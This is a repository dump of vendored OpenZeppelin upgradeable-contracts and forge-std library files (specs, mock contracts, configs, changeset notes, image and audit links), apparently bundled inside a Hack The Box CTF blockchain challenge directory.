2 | function DEFAULT_ADMIN_ROLE() external returns (bytes32) envfree;
3 | function hasRole(bytes32, address) external returns(bool) envfree;
4 | function getRoleAdmin(bytes32) external returns(bytes32) envfree;
5 | function grantRole(bytes32, address) external;
6 | function revokeRole(bytes32, address) external;
7 | function renounceRole(bytes32, address) external;
8 | }
9 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/specs/methods/IAccessManaged.spec:
--------------------------------------------------------------------------------
1 | methods {
2 | function authority() external returns (address) envfree;
3 | function isConsumingScheduledOp() external returns (bytes4) envfree;
4 | function setAuthority(address) external;
5 | }
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/specs/methods/IERC2612.spec:
--------------------------------------------------------------------------------
1 | methods {
2 | function permit(address,address,uint256,uint256,uint8,bytes32,bytes32) external;
3 | function nonces(address) external returns (uint256) envfree;
4 | function DOMAIN_SEPARATOR() external returns (bytes32) envfree;
5 | }
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/specs/methods/IERC3156FlashBorrower.spec:
--------------------------------------------------------------------------------
1 | methods {
2 | function _.onFlashLoan(address,address,uint256,uint256,bytes) external => DISPATCHER(true);
3 | }
4 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/specs/methods/IERC3156FlashLender.spec:
--------------------------------------------------------------------------------
1 | methods {
2 | function maxFlashLoan(address) external returns (uint256) envfree;
3 | function flashFee(address,uint256) external returns (uint256) envfree;
4 | function flashLoan(address,address,uint256,bytes) external returns (bool);
5 | }
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/specs/methods/IERC5313.spec:
--------------------------------------------------------------------------------
1 | methods {
2 | function owner() external returns (address) envfree;
3 | }
4 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/specs/methods/IERC721Receiver.spec:
--------------------------------------------------------------------------------
1 | methods {
2 | function _.onERC721Received(address,address,uint256,bytes) external => DISPATCHER(true);
3 | }
4 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/specs/methods/IOwnable.spec:
--------------------------------------------------------------------------------
1 | methods {
2 | function owner() external returns (address) envfree;
3 | function transferOwnership(address) external;
4 | function renounceOwnership() external;
5 | }
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/specs/methods/IOwnable2Step.spec:
--------------------------------------------------------------------------------
1 | methods {
2 | function owner() external returns (address) envfree;
3 | function pendingOwner() external returns (address) envfree;
4 | function transferOwnership(address) external;
5 | function acceptOwnership() external;
6 | function renounceOwnership() external;
7 | }
8 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/contracts/account/README.adoc:
--------------------------------------------------------------------------------
1 | = Account
2 |
3 | [.readme-notice]
4 | NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/account
5 |
6 | This directory includes contracts to build accounts for ERC-4337.
7 |
8 | == Utilities
9 |
10 | {{ERC4337Utils}}
11 |
12 | {{ERC7579Utils}}
13 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/contracts/finance/README.adoc:
--------------------------------------------------------------------------------
1 | = Finance
2 |
3 | [.readme-notice]
4 | NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/finance
5 |
6 | This directory includes primitives for financial systems:
7 |
8 | - {VestingWallet} handles the vesting of Ether and ERC-20 tokens for a given beneficiary. Custody of multiple tokens can
9 | be given to this contract, which will release the token to the beneficiary following a given, customizable, vesting
10 | schedule.
11 |
12 | == Contracts
13 |
14 | {{VestingWallet}}
15 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC165/ERC165MissingDataUpgradeable.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 |
3 | pragma solidity ^0.8.20;
4 | import {Initializable} from "../../proxy/utils/Initializable.sol";
5 |
6 | contract ERC165MissingDataUpgradeable is Initializable {
7 | function __ERC165MissingData_init() internal onlyInitializing {
8 | }
9 |
10 | function __ERC165MissingData_init_unchained() internal onlyInitializing {
11 | }
12 | function supportsInterface(bytes4 interfaceId) public view {} // missing return
13 | }
14 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC165/ERC165NotSupportedUpgradeable.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 |
3 | pragma solidity ^0.8.20;
4 | import {Initializable} from "../../proxy/utils/Initializable.sol";
5 |
6 | contract ERC165NotSupportedUpgradeable is Initializable { function __ERC165NotSupported_init() internal onlyInitializing {
7 | }
8 |
9 | function __ERC165NotSupported_init_unchained() internal onlyInitializing {
10 | }
11 | }
12 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/contracts/mocks/docs/MyNFTUpgradeable.sol:
--------------------------------------------------------------------------------
1 | // contracts/MyNFT.sol
2 | // SPDX-License-Identifier: MIT
3 | pragma solidity ^0.8.20;
4 |
5 | import {ERC721Upgradeable} from "../../token/ERC721/ERC721Upgradeable.sol";
6 | import {Initializable} from "../../proxy/utils/Initializable.sol";
7 |
8 | contract MyNFTUpgradeable is Initializable, ERC721Upgradeable {
9 | function __MyNFT_init() internal onlyInitializing {
10 | __ERC721_init_unchained("MyNFT", "MNFT");
11 | }
12 |
13 | function __MyNFT_init_unchained() internal onlyInitializing {}
14 | }
15 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/contracts/mocks/token/ERC20ExcessDecimalsMockUpgradeable.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 |
3 | pragma solidity ^0.8.20;
4 | import {Initializable} from "../../proxy/utils/Initializable.sol";
5 |
6 | contract ERC20ExcessDecimalsMockUpgradeable is Initializable {
7 | function __ERC20ExcessDecimalsMock_init() internal onlyInitializing {
8 | }
9 |
10 | function __ERC20ExcessDecimalsMock_init_unchained() internal onlyInitializing {
11 | }
12 | function decimals() public pure returns (uint256) {
13 | return type(uint256).max;
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/contracts/token/common/README.adoc:
--------------------------------------------------------------------------------
1 | = Common (Tokens)
2 |
3 | Functionality that is common to multiple token standards.
4 |
5 | * {ERC2981}: NFT Royalties compatible with both ERC-721 and ERC-1155.
6 | ** For ERC-721 consider {ERC721Royalty} which clears the royalty information from storage on burn.
7 |
8 | == Contracts
9 |
10 | {{ERC2981}}
11 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/antora.yml:
--------------------------------------------------------------------------------
1 | name: contracts
2 | title: Contracts
3 | version: 5.x
4 | prerelease: false
5 | nav:
6 | - modules/ROOT/nav.adoc
7 | - modules/api/nav.adoc
8 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-attack-3a.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-attack-3a.png
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-attack-3b.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-attack-3b.png
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-attack-6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-attack-6.png
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-attack.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-attack.png
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-deposit.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-deposit.png
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-mint.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-mint.png
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-rate-linear.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-rate-linear.png
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-rate-loglog.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-rate-loglog.png
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-rate-loglogext.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-rate-loglogext.png
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/tally-exec.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/tally-exec.png
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/tally-vote.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/tally-vote.png
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/templates/page.hbs:
--------------------------------------------------------------------------------
1 | :github-icon: pass:[]
2 | {{#with-prelude}}
3 | {{readme (readme-path)}}
4 | {{/with-prelude}}
5 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/foundry.toml:
--------------------------------------------------------------------------------
1 | [profile.default]
2 | solc_version = '0.8.24'
3 | evm_version = 'cancun'
4 | optimizer = true
5 | optimizer-runs = 200
6 | src = 'contracts'
7 | out = 'out'
8 | libs = ['node_modules', 'lib']
9 | test = 'test'
10 | cache_path = 'cache_forge'
11 |
12 | [fuzz]
13 | runs = 5000
14 | max_test_rejects = 150000
15 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/fv-requirements.txt:
--------------------------------------------------------------------------------
1 | certora-cli==4.13.1
2 | # File uses a custom name (fv-requirements.txt) so that it isn't picked by Netlify's build
3 | # whose latest Python version is 0.3.8, incompatible with most recent versions of Halmos
4 | halmos==0.2.0
5 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/hardhat/async-test-sanity.js:
--------------------------------------------------------------------------------
1 | process.on('unhandledRejection', reason => {
2 | throw new Error(reason);
3 | });
4 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/hardhat/skip-foundry-tests.js:
--------------------------------------------------------------------------------
1 | const { subtask } = require('hardhat/config');
2 | const { TASK_COMPILE_SOLIDITY_GET_SOURCE_PATHS } = require('hardhat/builtin-tasks/task-names');
3 |
4 | subtask(TASK_COMPILE_SOLIDITY_GET_SOURCE_PATHS).setAction(async (_, __, runSuper) =>
5 | (await runSuper()).filter(path => !path.endsWith('.t.sol')),
6 | );
7 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/forge-std/.gitattributes:
--------------------------------------------------------------------------------
1 | src/Vm.sol linguist-generated
2 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/forge-std/.gitignore:
--------------------------------------------------------------------------------
1 | cache/
2 | out/
3 | .vscode
4 | .idea
5 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/forge-std/test/compilation/CompilationScript.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity >=0.6.2 <0.9.0;
3 |
4 | pragma experimental ABIEncoderV2;
5 |
6 | import "../../src/Script.sol";
7 |
8 | // The purpose of this contract is to benchmark compilation time to avoid accidentally introducing
9 | // a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207
10 | contract CompilationScript is Script {}
11 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/forge-std/test/compilation/CompilationScriptBase.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity >=0.6.2 <0.9.0;
3 |
4 | pragma experimental ABIEncoderV2;
5 |
6 | import "../../src/Script.sol";
7 |
8 | // The purpose of this contract is to benchmark compilation time to avoid accidentally introducing
9 | // a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207
10 | contract CompilationScriptBase is ScriptBase {}
11 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/forge-std/test/compilation/CompilationTest.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity >=0.6.2 <0.9.0;
3 |
4 | pragma experimental ABIEncoderV2;
5 |
6 | import "../../src/Test.sol";
7 |
8 | // The purpose of this contract is to benchmark compilation time to avoid accidentally introducing
9 | // a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207
10 | contract CompilationTest is Test {}
11 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/forge-std/test/compilation/CompilationTestBase.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity >=0.6.2 <0.9.0;
3 |
4 | pragma experimental ABIEncoderV2;
5 |
6 | import "../../src/Test.sol";
7 |
8 | // The purpose of this contract is to benchmark compilation time to avoid accidentally introducing
9 | // a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207
10 | contract CompilationTestBase is TestBase {}
11 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/forge-std/test/fixtures/test.json:
--------------------------------------------------------------------------------
1 | {
2 | "a": 123,
3 | "b": "test",
4 | "c": {
5 | "a": 123,
6 | "b": "test"
7 | }
8 | }
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/forge-std/test/fixtures/test.toml:
--------------------------------------------------------------------------------
1 | a = 123
2 | b = "test"
3 |
4 | [c]
5 | a = 123
6 | b = "test"
7 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.changeset/config.json:
--------------------------------------------------------------------------------
1 | {
2 | "$schema": "https://unpkg.com/@changesets/config@2.3.0/schema.json",
3 | "changelog": [
4 | "@changesets/changelog-github",
5 | {
6 | "repo": "OpenZeppelin/openzeppelin-contracts"
7 | }
8 | ],
9 | "commit": false,
10 | "access": "public",
11 | "baseBranch": "master"
12 | }
13 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.changeset/eighty-hounds-promise.md:
--------------------------------------------------------------------------------
1 | ---
2 | 'openzeppelin-solidity': minor
3 | ---
4 |
5 | `Strings`: Add `parseUint`, `parseInt`, `parseHexUint` and `parseAddress` to parse strings into numbers and addresses. Also provide variants of these functions that parse substrings, and `tryXxx` variants that do not revert on invalid input.
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.changeset/four-chairs-help.md:
--------------------------------------------------------------------------------
1 | ---
2 | "openzeppelin-solidity": minor
3 | ---
4 |
5 | `Clones`: Add `cloneWithImmutableArgs` and `cloneDeterministicWithImmutableArgs` variants that create clones with per-instance immutable arguments. The immutable arguments can be retrieved using `fetchCloneArgs`. The corresponding `predictDeterministicWithImmutableArgs` function is also included.
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.changeset/great-lions-hear.md:
--------------------------------------------------------------------------------
1 | ---
2 | 'openzeppelin-solidity': patch
3 | ---
4 |
5 | `VotesExtended`: Create an extension of `Votes` which checkpoints balances and delegates.
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.changeset/healthy-books-shout.md:
--------------------------------------------------------------------------------
1 | ---
2 | 'openzeppelin-solidity': minor
3 | ---
4 |
5 | `CAIP2` and `CAIP10`: Add libraries for formatting and parsing CAIP-2 and CAIP-10 identifiers.
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.changeset/hot-shrimps-wait.md:
--------------------------------------------------------------------------------
1 | ---
2 | 'openzeppelin-solidity': minor
3 | ---
4 |
5 | `Packing`: Add variants for packing `bytes10` and `bytes22`
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.changeset/lovely-dodos-lay.md:
--------------------------------------------------------------------------------
1 | ---
2 | 'openzeppelin-solidity': minor
3 | ---
4 |
5 | `NoncesKeyed`: Add a variant of `Nonces` that implements the ERC-4337 entrypoint nonce system.
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.changeset/pink-wasps-hammer.md:
--------------------------------------------------------------------------------
1 | ---
2 | 'openzeppelin-solidity': patch
3 | ---
4 |
5 | `GovernorCountingOverridable`: Add a governor counting module that enables token holders to override the vote of their delegate.
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.changeset/proud-planes-arrive.md:
--------------------------------------------------------------------------------
1 | ---
2 | 'openzeppelin-solidity': minor
3 | ---
4 |
5 | `Bytes`: Add a library of common operations that operate on `bytes` objects.
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.changeset/seven-donkeys-tap.md:
--------------------------------------------------------------------------------
1 | ---
2 | 'openzeppelin-solidity': patch
3 | ---
4 |
5 | Update some pragma directives to ensure that all file requirements match that of the files they import.
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.changeset/small-seahorses-bathe.md:
--------------------------------------------------------------------------------
1 | ---
2 | 'openzeppelin-solidity': minor
3 | ---
4 |
5 | `ERC7579Utils`: Add a reusable library to interact with ERC-7579 modular accounts
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.changeset/tricky-bats-pretend.md:
--------------------------------------------------------------------------------
1 | ---
2 | 'openzeppelin-solidity': minor
3 | ---
4 |
5 | `ERC1363Utils`: Add helper similar to the existing `ERC721Utils` and `ERC1155Utils`
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.changeset/weak-roses-bathe.md:
--------------------------------------------------------------------------------
1 | ---
2 | 'openzeppelin-solidity': minor
3 | ---
4 |
5 | `ERC4337Utils`: Add a reusable library to manipulate user operations and interact with ERC-4337 contracts
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.codecov.yml:
--------------------------------------------------------------------------------
1 | comment: off
2 | github_checks:
3 | annotations: false
4 | coverage:
5 | status:
6 | patch:
7 | default:
8 | target: 95%
9 | only_pulls: true
10 | project:
11 | default:
12 | threshold: 1%
13 | ignore:
14 | - "test"
15 | - "contracts/mocks"
16 | - "contracts/vendor"
17 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.editorconfig:
--------------------------------------------------------------------------------
1 | # EditorConfig is awesome: https://EditorConfig.org
2 |
3 | # top-most EditorConfig file
4 | root = true
5 |
6 | [*]
7 | charset = utf-8
8 | end_of_line = lf
9 | indent_style = space
10 | insert_final_newline = true
11 | trim_trailing_whitespace = false
12 | max_line_length = 120
13 |
14 | [*.sol]
15 | indent_size = 4
16 |
17 | [*.js]
18 | indent_size = 2
19 |
20 | [*.{adoc,md}]
21 | max_line_length = 0
22 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.githooks/pre-push:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | set -euo pipefail
4 |
5 | if [ "${CI:-"false"}" != "true" ]; then
6 | npm run test:generation
7 | npm run lint
8 | fi
9 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.github/ISSUE_TEMPLATE/config.yml:
--------------------------------------------------------------------------------
1 | contact_links:
2 | - name: Questions & Support Requests
3 | url: https://forum.openzeppelin.com/c/support/contracts/18
4 | about: Ask in the OpenZeppelin Forum
5 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.github/ISSUE_TEMPLATE/feature_request.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Feature request
3 | about: Suggest an idea for OpenZeppelin Contracts
4 |
5 | ---
6 |
7 | **🧐 Motivation**
8 |
9 |
10 | **📝 Details**
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.github/workflows/docs.yml:
--------------------------------------------------------------------------------
1 | name: Build Docs
2 |
3 | on:
4 | push:
5 | branches: [release-v*]
6 |
7 | permissions:
8 | contents: write
9 |
10 | jobs:
11 | build:
12 | runs-on: ubuntu-latest
13 | steps:
14 | - uses: actions/checkout@v4
15 | - name: Set up environment
16 | uses: ./.github/actions/setup
17 | - run: bash scripts/git-user-config.sh
18 | - run: node scripts/update-docs-branch.js
19 | - run: git push --all origin
20 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.gitmodules:
--------------------------------------------------------------------------------
1 | [submodule "lib/forge-std"]
2 | branch = v1
3 | path = lib/forge-std
4 | url = https://github.com/foundry-rs/forge-std
5 | [submodule "lib/erc4626-tests"]
6 | path = lib/erc4626-tests
7 | url = https://github.com/a16z/erc4626-tests.git
8 | [submodule "lib/halmos-cheatcodes"]
9 | path = lib/halmos-cheatcodes
10 | url = https://github.com/a16z/halmos-cheatcodes
11 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.mocharc.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | require: 'hardhat/register',
3 | timeout: 4000,
4 | };
5 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.prettierrc:
--------------------------------------------------------------------------------
1 | {
2 | "printWidth": 120,
3 | "singleQuote": true,
4 | "trailingComma": "all",
5 | "arrowParens": "avoid",
6 | "overrides": [
7 | {
8 | "files": "*.sol",
9 | "options": {
10 | "singleQuote": false
11 | }
12 | }
13 | ],
14 | "plugins": ["prettier-plugin-solidity"]
15 | }
16 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.solcover.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | norpc: true,
3 | testCommand: 'npm test',
4 | compileCommand: 'npm run compile',
5 | skipFiles: ['mocks'],
6 | providerOptions: {
7 | default_balance_ether: '10000000000000000000000000',
8 | },
9 | mocha: {
10 | fgrep: '[skip-on-coverage]',
11 | invert: true,
12 | },
13 | // Work around stack too deep for coverage
14 | configureYulOptimizer: true,
15 | solcOptimizerDetails: {
16 | yul: true,
17 | yulDetails: {
18 | optimizerSteps: '',
19 | },
20 | },
21 | };
22 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/FUNDING.json:
--------------------------------------------------------------------------------
1 | {
2 | "drips": {
3 | "ethereum": {
4 | "ownedBy": "0xAeb37910f93486C85A1F8F994b67E8187554d664"
5 | }
6 | }
7 | }
8 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/audits/2018-10.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/audits/2018-10.pdf
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/audits/2022-10-Checkpoints.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/audits/2022-10-Checkpoints.pdf
